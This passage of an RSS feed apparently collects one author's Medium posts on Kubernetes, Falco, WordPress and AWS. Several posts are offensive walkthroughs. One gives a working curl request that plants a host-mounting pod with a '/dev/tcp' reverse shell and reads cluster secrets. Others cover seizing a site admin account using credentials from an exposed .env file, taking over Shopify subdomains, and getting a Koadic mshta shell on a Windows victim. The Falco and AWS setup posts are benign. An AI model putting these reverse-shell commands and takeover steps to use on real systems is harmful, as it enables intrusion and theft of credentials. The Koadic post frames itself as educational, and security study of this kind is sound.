kubeconfig file.</li><li>Implement network policies to control pod-to-pod communication.</li><li>Limit access to sensitive information.</li><li>Restrict communication between namespaces.</li><li>Enforce pod security policies to control pod behavior.</li><li>Define policies for privilege escalation, host namespace sharing, etc.</li><li>Limit pod capabilities and run as non-root when possible.</li></ol><p>Special thanks to <a href="https://medium.com/u/724b10f882ad">Riyaz Walikar</a> for supporting me in learning Kubernetes Pentetsing.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b08b72ee5875" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Ways to get into the Kubernetes cluster —Part 1]]></title>
            <link>https://manojdeshmukh45.medium.com/ways-to-get-into-the-kubernetes-cluster-part-1-2e86c3dea123?source=rss-d449f83fd407------2</link>
            <guid isPermaLink="false">https://medium.com/p/2e86c3dea123</guid>
            <category><![CDATA[kubernetes-cluster]]></category>
            <category><![CDATA[api]]></category>
            <category><![CDATA[kubernetes]]></category>
            <category><![CDATA[security-misconfiguration]]></category>
            <category><![CDATA[kubernetes-security]]></category>
            <dc:creator><![CDATA[Manoj Deshmukh]]></dc:creator>
            <pubDate>Sat, 18 Nov 2023 04:58:33 GMT</pubDate>
            <atom:updated>2024-01-23T06:30:21.026Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mFFjd_pXA6k9bZi1i_U_sg.png" /></figure><p><strong>Overview:</strong></p><p>This article gives you an extensive view of how to gain access to the Kubernetes cluster.</p><p><strong>Inroduction</strong></p><p>One effective way to grasp the importance of Kubernetes security is by exploring a vulnerable API endpoint scenario. An API endpoint serves as a gateway for communication between different components of a system. When insecurely configured or exploited, it can become a potential entry point for attackers.</p><p><strong>How do I identify a Kubernetes Clusters IP?</strong></p><p>You found an IP address, and now you need to verify that it is Kubernetes Clusters IP.</p><p>Use shodan.io or search.censys.io to verify.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/912/1*jvQfOu1dT_3cT1_91kPGcg.png" /><figcaption>Shodan results</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*L67kQxVQ_chB5iTh4Zya3A.png" /><figcaption>censys results</figcaption></figure><p><strong>Have you found the Kubernetes Cluser IP?</strong></p><p>Yes.</p><p>Now we need to find the open ports like 80, 443, 8080, 8001, 6443, 8009.</p><p>Open all ports and check if any port has a vulnerable API endpoint.</p><p>It should look like this.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SUaypOfd32PKD-3UBwRt1A.png" /><figcaption>Kubernetes API server with full access</figcaption></figure><p><strong>Kube-hunter</strong></p><p>Use Kuber-hunter to scan the vulnerabilities in the Kubernetes cluster.</p><p><a href="https://github.com/aquasecurity/kube-hunter">https://github.com/aquasecurity/kube-hunter</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cE0tNdYKA_EBYPJZh5yKMA.png" /><figcaption>kube-hunter scan on kubernetes cluster</figcaption></figure><p>If the UI dashboard is open now, you can view all the namespaces and pods running, create and delete pods, exec to pods, and see the secret data in pods. It will give you the RABC roles and more.</p><p><strong>Now What?</strong></p><p>Now you have full access to read the cluster services like namespaces, pods, secerts, services, tokens, login credentials for databases, and many more.</p><p>You can use the Fuzz List to access the data.</p><p><a href="https://github.com/manojdeshmukh45/kubernetes_wordlist">GitHub - manojdeshmukh45/kubernetes_wordlist: This is the word list for fuzzing kubernetes.</a></p><p>First, find the UI end point and check whether it is open.</p><p>&lt;ip&gt;:8001/api/v1/namespaces/kubernetes-dashboard/services/kubernetes-dashboard/proxy</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*It_y7j8KJDqvJ20Pwi-Oiw.png" /><figcaption>Kubernetes Web UI</figcaption></figure><p><strong>What if the UI is not available?</strong></p><p>Now first, go to secrets and find the token: http://&lt;ip&gt;:8080/api/v1/secrets</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*chrFaycjnjUW6S_zXhIUCA.png" /><figcaption>Secret token in kuernetes</figcaption></figure><p>Grab the secret and store it.</p><p>Now check out all the secrets here. You may find a database, username, password, and hostname in encrypted form. Copy them, and use <a href="https://hashes.com/en/tools/hash_identifier">https://hashes.com/en/tools/hash_identifier</a> to decrypt them.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sZNFkhp3eNamhQX7MizSEw.png" /><figcaption>Secret Credentials exposed in Kubernetes</figcaption></figure><p><strong>Create a pod using this vulnerability.</strong></p><p>First, we need to create a pod inside this cluster.</p><pre>curl -k -X POST -H &#39;Content-Type: application/yaml&#39; \<br>-H &quot;Authorization: Bearer &lt;JWT_TOKEN&gt;&quot; --data &#39;<br>apiVersion: v1<br>kind: Pod<br>metadata:<br>  name: alpine<br>spec:<br>  containers:<br>  - name: alpine<br>    image: ubuntu<br>    command: [&#39;/bin/bash&#39;, &#39;-c&#39;, &#39;sh -i &gt;&amp; /dev/tcp/&lt;Reverse shell IP&gt;/12345 0&gt;&amp;1&#39;]<br>    volumeMounts:<br>    - mountPath: /demo/<br>      name: mount-demo-into-mnt<br>  volumes:<br>  - name: mount-demo-into-mnt<br>    hostPath:<br>      path: /<br>  automountServiceAccountToken: true<br>  hostNetwork: true&#39; &quot;https://&lt;ip&gt;/api/v1/namespaces/default/pods&quot;</pre><p>Use this curl command and add the IP address to receive a revershell, and add the cluster IP address at the bottom.</p><p>Open a netcat port in your machine using <strong>ncat -lp 12345</strong></p><p>Now you can directly hit this using CLI or Postman.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*n8oax7yv78JGAkjLEJIrOg.png" /><figcaption>Creating pod using vulnerble API</figcaption></figure><p>Now pod has been pushed to cluster and is waiting to get initialized.</p><p>You can verify the status of the pod at this end point.</p><p>https://&lt;ip&gt;:8080/api/v1/namespaces/default/pods</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xAIt6czR5_tqSV4tg427rQ.png" /><figcaption>Pod got created</figcaption></figure><p>After pod starts, you can type the <strong>ls</strong> command in your terminal to check if reverse shell is enabled.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DeVW4ds9wMHJbn6rCyfD8w.png" /><figcaption>Established reverseshell</figcaption></figure><p>Hurry, You have successfully established a connection to pod.</p><p>Now you are all set to get inside the Kubernetes cluster.</p><p><strong>How do I delete pods?</strong></p><pre>curl http://&lt;ip&gt;:8080/api/v1/namespaces/default/pods/nginx1 \  <br>  -X DELETE -k \ <br>  -H &quot;Authorization: Bearer &lt;Token&gt;&quot;</pre><p>If you add the same token and send it through CLI or Postman, the pod will be deleted. Here, change the pod name that you want to delete at the end.</p><p>/api/v1/namespaces/default/pods/&lt;pod name&gt;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nK3xFEYMVYOeodGwBd7F5w.png" /><figcaption>Deleteing Pod</figcaption></figure><p>Verify that the pod was deleted.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*J5HMBNT0J__0TYf_yxipoA.png" /><figcaption>Pod got deleted</figcaption></figure><p><strong>Conclusion:</strong></p><p>The vulnerability of Kubernetes API endpoints poses a significant risk to the overall security of containerized environments. As organizations increasingly adopt Kubernetes for container orchestration, it becomes imperative to address and mitigate potential weaknesses in API security. The exposure of vulnerable API endpoints can lead to a range of security threats, including unauthorized access, data breaches, and service disruptions.</p><p>You can find Part 2 here:</p><p><a href="https://manojdeshmukh45.medium.com/ways-to-get-into-the-kubernetes-cluster-part-2-b08b72ee5875">https://manojdeshmukh45.medium.com/ways-to-get-into-the-kubernetes-cluster-part-2-b08b72ee5875</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2e86c3dea123" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Setup Falco Security (IDS) in Kubernetes]]></title>
            <link>https://manojdeshmukh45.medium.com/setup-falcosecurity-ids-in-kubernetes-e0dd34fae77d?source=rss-d449f83fd407------2</link>
            <guid isPermaLink="false">https://medium.com/p/e0dd34fae77d</guid>
            <category><![CDATA[ids-software]]></category>
            <category><![CDATA[sysdig]]></category>
            <category><![CDATA[kubernetes-security]]></category>
            <category><![CDATA[kubernetes]]></category>
            <category><![CDATA[falco]]></category>
            <dc:creator><![CDATA[Manoj Deshmukh]]></dc:creator>
            <pubDate>Fri, 10 Nov 2023 13:54:54 GMT</pubDate>
            <atom:updated>2024-03-06T06:52:19.114Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hy3aBMBxFwuPKotObPHUPg.png" /></figure><p><strong>Overview:</strong></p><p>This article gives you an extensive view of how to set up falcosecurity in a Kubernetes cluster.</p><p><strong>What is Falcosecurity?</strong></p><p>Falco is an open source runtime security solution for hosts, containers, Kubernetes, and the cloud. Get real-time visibility into unusual behaviors as well as potential security threats, intrusions, data theft, or compliance violations.</p><p>Basically, you create the rule. For example, the rule will activate and provide you with a real-time notification if somebody logs into your pods without authority.</p><p>We have two ways to install falcosecurity.</p><ol><li>If you have one application running in Ubuntu, you can run Falco as a service.</li><li>You can run Falco through the helm charts if you have several services operating on Kubernetes, and it needs to check for rules in every pod inside the cluster.</li></ol><p><strong>Installation of falcosecurity</strong></p><p>Here we are adding falco’s helm repository and updating our local repository.</p><blockquote>helm repo add falcosecurity <a href="https://falcosecurity.github.io/charts">https://falcosecurity.github.io/charts</a></blockquote><blockquote>helm repo update</blockquote><p>Now we need to create the namespace for falco</p><blockquote>kubectl create namespace falcosecurtity</blockquote><p>Now lets install falcosecurity pods</p><blockquote>helm install falcosecurtity -n falcosecurtity— set driver.kind=ebpf — set tty=true falcosecurity/falco</blockquote><p>When you hit this, you will get the output shown below:</p><p>Image</p><p>Here, three different pods will be created.</p><ol><li>Falco — Pods responsible for creating alerts</li><li>Falcosidekick — pods responsible for getting the alert message</li><li>Falcosidekick-ui — pods responsible for showing alert messages</li></ol><p>In the above command, it just created the pods, but we need them to connect falco pods with falcosidekick and UI. We then need to enable audit logs, JSON output, file output, Slack/Google Chat webhook integration, and user login for webUI.</p><blockquote>helm upgrade falcosecurtity -n falcosecurtity — set driver.kind=ebpf — set tty=true falcosecurity/falco — set falcosidekick.enabled=true — set falcosidekick.webui.enabled=true — set auditLog.enabled=true — set falco.jsonOutput=true — set falco.fileOutput.enabled=true — set falcosidekick.webui.user=”&lt;username&gt;:&lt;password&gt;” — set falcosidekick.config.slack.webhookurl=”&lt;webhooklink&gt;” — set falcosidekick.config.googlechat.webhookurl=”&lt;webhooklink&gt;”</blockquote><p><strong>How do I create a webhook link?</strong></p><p><strong>Slack:</strong></p><ol><li>Go to Slack, click on Add Channels, and create a new channel</li></ol><p>2. Go to Settings and click on Intigation.</p><p>3. Click on Add an app, find Incoming Webhook, and click on Install.</p><p>4. Now it will redirect to browser and you can click on Add to slack</p><p>5. Select the channel where you need to get alerts.</p><p>6. Now you will get the slack webhook</p><p><strong>How to check alerts generated</strong></p><p>All the alerts will be sent to your Slack and Google chats.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Z_CtFegCjFLOmtDUgbnfOg.png" /><figcaption>Alerts recived at Slack</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*jb23oPrkgOTEnwZ2Ii96MA.png" /><figcaption>Alerts recived at Google chat</figcaption></figure><p><strong>Chek Alerts in WebUI</strong></p><p>Install Gcloud on your local PC and run the command; don&#39;t close the command prompt.</p><blockquote>kubectl port-forward svc/falcosecurity-falcosidekick-ui 2802:2802 — namespace falcosecurity</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xEoIFT11lgp1xB8ycd0yQw.png" /></figure><p>Go to browser and run</p><blockquote><a href="http://127.0.0.1:2802/">http://127.0.0.1:2802/</a></blockquote><p>Enter username and password and click on login</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*T5VtwcBKJy9LlWHqPUxPbw.png" /></figure><p>Now you can see the pictorial graph generated by the falco whowing alerts received.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YmqveGA0loN8VSc-P_tlcQ.png" /></figure><p>At the top, click on Events, where it shows all the alerts created.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*D6BysYtNwdPupdqeXDef0w.png" /></figure><p><strong>How to add custom rules to falcosecurity</strong></p><p>Note: Falco will create alerts, there will be default rules, and you will get alerts.</p><p>After some time, when you see the enormous alerts and there are some alerts created by GCP or some other service for which you don&#39;t want to get alerts, you need to change the default rules.</p><p>create the file <strong>custom-rules.yaml</strong></p><p>Paste the <a href="https://raw.githubusercontent.com/falcosecurity/rules/main/rules/falco_rules.yaml">default rules</a> inside the file, like (Note: Check for Indentations.)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ANri9Ee65XeFIhyL2snGFw.png" /></figure><p>and make changes to the rules.</p><p>Example: I was getting 100 alerts from “<strong>File below/etc opened for writing.</strong>” When I checked the alert, it was created by hproxy, and I didn’t want that alert to receive it, so I added the line.</p><blockquote>not proc.cmdline startswith “haproxy-ingress — with-s6-overlay”</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OxGS0D6MKTFFpsb9_ZbXOw.png" /></figure><p>You can customize the alerts and stop the ones that are automatically generated.</p><p>Okay, you created the custom rule, and how do you apply the rules?</p><blockquote>helm upgrade falcosecurtity -n falcosecurtity — set driver.kind=ebpf — set tty=true falcosecurity/falco — set falcosidekick.enabled=true — set falcosidekick.webui.enabled=true — set auditLog.enabled=true — set falco.jsonOutput=true — set falco.fileOutput.enabled=true — set falcosidekick.webui.user=”&lt;username&gt;:&lt;password&gt;” — set falcosidekick.config.slack.webhookurl=”&lt;webhooklink&gt;” — set falcosidekick.config.googlechat.webhookurl=”&lt;webhooklink&gt;” <strong>-f custom-rules.yaml</strong></blockquote><p>Now that you have successfully implemented falco in your Kubernetes account, it&#39;s time to monitor the alerts</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e0dd34fae77d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How I gained admin access with phpMyAdmin]]></title>
            <link>https://manojdeshmukh45.medium.com/how-i-gained-admin-access-with-phpmyadmin-83ad2ff2cfde?source=rss-d449f83fd407------2</link>
            <guid isPermaLink="false">https://medium.com/p/83ad2ff2cfde</guid>
            <category><![CDATA[phpmyadmin]]></category>
            <category><![CDATA[nucleus]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[env]]></category>
            <dc:creator><![CDATA[Manoj Deshmukh]]></dc:creator>
            <pubDate>Fri, 23 Jun 2023 08:52:32 GMT</pubDate>
            <atom:updated>2023-11-14T05:15:28.882Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_iqFY5yRg2l-imzoNd-ccw.png" /></figure><p><strong>Overview</strong></p><p>This article will explain how I got administrative access to a subdomain.</p><p><strong>How do I gain admin access using phpMyAdmin?</strong></p><p>Initially, I was going through domains and subdomains, where everything looked good, and I did a nuclei scan on target.</p><blockquote>subfinder -d example.com | nuclei</blockquote><p>During the scan, I got the result under “info” as</p><blockquote>[phpmyadmin-panel] [http] [info] https://example.com/phpmyadmin/</blockquote><p><strong>What should I do next?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/220/1*1mpa2erTlavZm9z3fLHdQQ.gif" /></figure><p>I added.env at the end of the URL.</p><blockquote>https://example.com/.env</blockquote><p>and I hit a gold mine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cilvHpoLXtyhoKyIECbzSg.png" /><figcaption>.env file contains secret details like database username and password, API keys, AWS private keys, secret keys, etc.</figcaption></figure><p>I made an attempt to access phpMyAdmin using the password stored in the.env file.<br>I was able to log into the database, so it did work.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*X0_xuS2GdfkYIkV121womw.png" /><figcaption>Logged into phpMyAdmin console</figcaption></figure><p>I was taken right to the login page when I went to the subdomain. I searched all the databases and found the user table.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/838/1*upxoZajbEy3ISFtfmfxAkg.png" /><figcaption>Login Page of a website</figcaption></figure><p>The previous password should be copied and saved. I pasted the hash value into <a href="https://hashes.com/en/tools/hash_identifier">hashes.com</a>, where it provided the hash type, rather than wasting my time bruteforcing it to know what the password is!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jODl_gX98e2ONlbGqcAtGw.png" /><figcaption>Find the hash type of a hashed string using hashes.com</figcaption></figure><p>I went to https://appdevtools.com/bcrypt-generator, gave the new password string, and pasted the generated hash.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/989/1*2PlhMrEotkTgAH1NmrVa2A.png" /><figcaption>bcrypt hash genetaring for a string using app.devtools.com</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/1*zOkteHQvfaAoiI00jWzrnQ.png" /><figcaption>Adding generated password to admin</figcaption></figure><p>I added the user name and password, which I changed in the database, and I logged in as admin.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Iddiq2FvXm_3wSfX6isqvg.png" /><figcaption>Admin panel of a website</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*0K-ADwHb2wKK9UbZU5aBXQ.gif" /></figure><p><strong>Conclusion: </strong>This has not happened to me once; it happens most of the time when I find.env or phpMyAdmin open.</p><p>Even the nuclide scan gave you “information” and didn&#39;t give you any vulnerability categories like low, medium, or high; don&#39;t worry. Check for &quot;info.” It may lead to a gold mine.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=83ad2ff2cfde" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Subdomain Takeover — Shopify Websites]]></title>
            <link>https://manojdeshmukh45.medium.com/subdomain-takeover-shopify-websites-aac3dbecafb7?source=rss-d449f83fd407------2</link>
            <guid isPermaLink="false">https://medium.com/p/aac3dbecafb7</guid>
            <category><![CDATA[website-hacking]]></category>
            <category><![CDATA[takeovers]]></category>
            <category><![CDATA[subdomain-takeover]]></category>
            <category><![CDATA[shopify]]></category>
            <dc:creator><![CDATA[Manoj Deshmukh]]></dc:creator>
            <pubDate>Wed, 21 Jun 2023 10:40:16 GMT</pubDate>
            <atom:updated>2023-06-23T08:41:36.518Z</atom:updated>
            <content:encoded><![CDATA[<h3>Subdomain Takeover — Shopify Websites</h3><p><strong>Overview</strong></p><p>This article will walk you through the steps for a subdomain takeover for Shopify websites.</p><p>How do I start?</p><ol><li>Check for all subdomains; find any subdomain that is running under Shopify and showing a page like below.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cKSxqIjHuWab5xnvHDfgtw.png" /></figure><p>If you find a website like this, you&#39;ve hit the jackpot.</p><p>Now Register for Shopify and set up a website.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oZIFf_lN3UBDd3bsTXlJJw.png" /></figure><p>After that, go to Connect existing domains and add the subdomain name that you find.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dwSNJhpQ4LFR2Ub2tSa-tw.png" /></figure><p>After adding the domain, your website will redirect to the subdomain you found.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*foBVn52ArHXXXkGBxpeuNw.png" /></figure><p>Go to the subdomain and check.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hFJhwwgcRv92DVct7NIJlg.png" /></figure><p>Huryy, You will have complete authorization for the subdomain, where you can host anything on that domain.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hhBSgPvUvD1FVmi4eIIWrw.gif" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=aac3dbecafb7" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How to reset admin password in WordPress/MySQL — CLI]]></title>
            <link>https://manojdeshmukh45.medium.com/how-to-reset-admin-password-in-wordpress-mysql-cli-4508143b4fe3?source=rss-d449f83fd407------2</link>
            <guid isPermaLink="false">https://medium.com/p/4508143b4fe3</guid>
            <category><![CDATA[mysql]]></category>
            <category><![CDATA[reset-password-root]]></category>
            <category><![CDATA[admin-password-reset]]></category>
            <category><![CDATA[cli]]></category>
            <category><![CDATA[wordpress]]></category>
            <dc:creator><![CDATA[Manoj Deshmukh]]></dc:creator>
            <pubDate>Wed, 21 Jun 2023 10:07:58 GMT</pubDate>
            <atom:updated>2023-06-23T06:28:25.695Z</atom:updated>
            <content:encoded><![CDATA[<h3>How to reset admin password in WordPress/MySQL — CLI</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Z0R9mnweytHWGut4NlSHQQ.png" /></figure><p><strong>Overview</strong></p><p>This article will walk you through the steps of changing the admin/user&#39;s password in MySQL using the CLI.</p><p>Process</p><p>Initially login to server and enter the command</p><p>mysql -u root -p</p><p>use (name-of-database)(ex:wordpress)</p><p>show tables;</p><p>SELECT ID, user_login, user_pass FROM (name-of-table-you-found);</p><p>Now go to <a href="https://www.md5hashgenerator.com/">https://www.md5hashgenerator.com/</a> type in the password and generate the MD5 Hash.</p><p>UPDATE wp-users SET user_pass=&lt;MD5 Hash&gt; WHERE ID = 1;</p><p>SELECT ID, user_login, user_pass FROM (name-of-table-you-found);</p><p>Now you updated the password.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4508143b4fe3" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How to gain access to a windows machine with one command.]]></title>
            <link>https://manojdeshmukh45.medium.com/how-to-gain-access-to-a-windows-machine-with-one-command-1b2997b81aa1?source=rss-d449f83fd407------2</link>
            <guid isPermaLink="false">https://medium.com/p/1b2997b81aa1</guid>
            <category><![CDATA[windows-post-exploitation]]></category>
            <category><![CDATA[offensive-security]]></category>
            <category><![CDATA[reverse-shell]]></category>
            <category><![CDATA[windows-hacking]]></category>
            <category><![CDATA[koadic]]></category>
            <dc:creator><![CDATA[Manoj Deshmukh]]></dc:creator>
            <pubDate>Mon, 23 Jan 2023 05:53:24 GMT</pubDate>
            <atom:updated>2023-01-23T05:53:24.178Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8m5YqKgBg9geGpEHMf4j5g.png" /></figure><p><strong>Overview</strong></p><p>This article will walk you through the steps of using Koadic to access a Windows machine with a single click.</p><p><strong>Koadic</strong></p><p>Koadic is a tool available on GitHub used in Windows post-exploitation rootkits, similar to other penetration testing tools such as Meterpreter and Powershell Empire.</p><p><strong>Requirements</strong></p><ol><li>Attacker Machine (192.168.1.13)</li><li>Victims Machine (192.168.1.5)</li><li>Koadic Tool</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/220/0*AvWSB_2x6QXgqij_.gif" /></figure><p><strong>Step 1: Let&#39;s start the process of gaining access to the Windows machine using Kali Linux.</strong></p><p>Open the attacker machine, here we are using Kali Linux (192.168.1.13).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vFFoZ0tygr5ZQQwuaVLpGQ.png" /><figcaption>Attacker machine — Kali Linux</figcaption></figure><p>open the terminal and install koadic</p><p><a href="https://github.com/offsecginger/koadic">GitHub - offsecginger/koadic: zerosum0x0&#39;s Koadic</a></p><blockquote>$ sudo apt install koadic</blockquote><p>and run</p><blockquote>$ sudo koadic</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jDRKPZ6n5xFTcJ3XoCasSQ.png" /><figcaption>koadic running on the attacker machine</figcaption></figure><p>now use command</p><blockquote>(koadic: sta/js/mshta)# <strong>use stager/js/mshta</strong></blockquote><blockquote>(koadic: sta/js/mshta)# <strong>info</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xdy1XHf7KND3WGJJb-9d6A.png" /></figure><p>here SRVHOST is the attacker machine’s Ip address</p><p>SRVPORT is the attacker machine’s port</p><p>and enter command</p><blockquote>(koadic: sta/js/mshta)# <strong>run</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/493/1*ekFdLvze85OK-G3zrpDC9g.png" /></figure><p>Now you can see that you got an endpoint here</p><blockquote><strong>[&gt;] mshta </strong><a href="http://192.168.1.13:9999/9xD50"><strong>http://192.168.1.13:9999/9xD50</strong></a></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/263/1*maFy8jzpJ9VhYK6AhJfQnw.png" /></figure><p><strong>Step 2: Let&#39;s go to the Windows machine (Victims Machine)</strong></p><p>Now simply open cmd on a windows machine</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*O2K6usHcqsD4Hwjfhs99uQ.png" /></figure><p>enter the endpoint which got in the attacker&#39;s machine and click on enter</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dnu4nbIJaAs5AN1qLEwu2Q.png" /></figure><p>and you are done.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/225/1*BjrtEkXbruzyAXP-6TXnmA.png" /></figure><p><strong>Step 3: Checking the connection received in Attackers Machine</strong></p><p>Now go to the attacker’s machine and you should see the below message “Zombi 0: Staging new connection (192.168.*.*) on Stager 0”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/743/1*Rya3aXWAOlp9BiujlkM2SQ.png" /></figure><p>Now that you are on the victim&#39;s computer, all you need to do is explore his PC with some basic commands.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/189/0*OfOlSwj7aticswrj" /></figure><blockquote>(koadic: sta/js/mshta)# <strong>zombies</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/625/1*VvZWrPQf_UcIrp-x359t9w.png" /></figure><p>It gives you the list of current sessions running with ID, IP address and Status.</p><p>now let’s start the command line in windows machine by using the command</p><blockquote>(koadic: sta/js/mshta)# <strong>cmdshell 0</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/495/1*Hhh5ZaeW4IbykjJBbO6Nng.png" /></figure><p>Here 0 is the ID of a session</p><p>Now use the windows command line commands</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*In0Omd4vHwgn9cBgUmGRvw.png" /></figure><p>Now you are completely accessible to the victim machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/360/0*-CSOQPCtCU4julJC.jpg" /></figure><p><strong>Disclaimer</strong></p><p>Code samples are provided for educational purposes. Adequate defenses can only be built by researching the attack techniques available to malicious actors. Using this code against target systems without prior permission is illegal in most jurisdictions. The authors are not liable for any damages resulting from the misuse of this information or code.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1b2997b81aa1" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Access AWS EC2 through Web Browser]]></title>
            <link>https://manojdeshmukh45.medium.com/access-aws-ec2-through-web-browser-6ee9cbf53198?source=rss-d449f83fd407------2</link>
            <guid isPermaLink="false">https://medium.com/p/6ee9cbf53198</guid>
            <category><![CDATA[aws]]></category>
            <category><![CDATA[aws-ec2]]></category>
            <category><![CDATA[vnc-viewer]]></category>
            <category><![CDATA[novnc]]></category>
            <category><![CDATA[vnc]]></category>
            <dc:creator><![CDATA[Manoj Deshmukh]]></dc:creator>
            <pubDate>Wed, 13 Jul 2022 06:36:30 GMT</pubDate>
            <atom:updated>2023-01-13T10:14:38.914Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Overview</strong></p><p>This article will walk you through the steps to access AWS server via a browser.</p><p><strong>Step1: Creating an AWS account / Logging into AWS</strong></p><p>Create the AWS account using <a href="https://aws.amazon.com/">https://aws.amazon.com/</a></p><p>Click on sign in and then create a new AWS account.</p><p>Enter the details asked to complete the signup process.</p><p>Log into the console.</p><p><strong>Step 2: Create an EC2 Instance</strong></p><p>Click on Services and select <strong>EC2</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/956/1*5-1NwiOqsHDWfBNAC16IBg.png" /></figure><p>Click on instances at the left bar.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/228/1*fEv8Q_YDoIcX7vUXprYKKQ.png" /></figure><p>Click on Launch instance at the top right corner.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Jd1TuVVkUs5Yqj8KNWgzKw.png" /></figure><p>Search for ubuntu and select the ubuntu version of your choice (Here the version set id Ubuntu server 18.04 LTS)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NQZIMKsFViScAujhbsb8jQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9wNA8BLtJhUTSeXg-EU6NA.png" /></figure><p>Select the tier you want (The tier used here is t2.micro), and click on <strong>Configure instance details</strong> &gt; <strong>add storage</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ydCiOOn-EGwYM41cSlYslQ.png" /></figure><p>Add the storage size of you preference (Default size set for ubuntu will be 8 GB), click on <strong>add tags</strong> &gt; <strong>configure security groups</strong>.</p><p>Here two security rules must be added, one for browsing novnc and the other is to run vnc.</p><p>Click on <strong>add rule</strong> and then add port range of <strong>6080</strong> and another rule with <strong>5901. 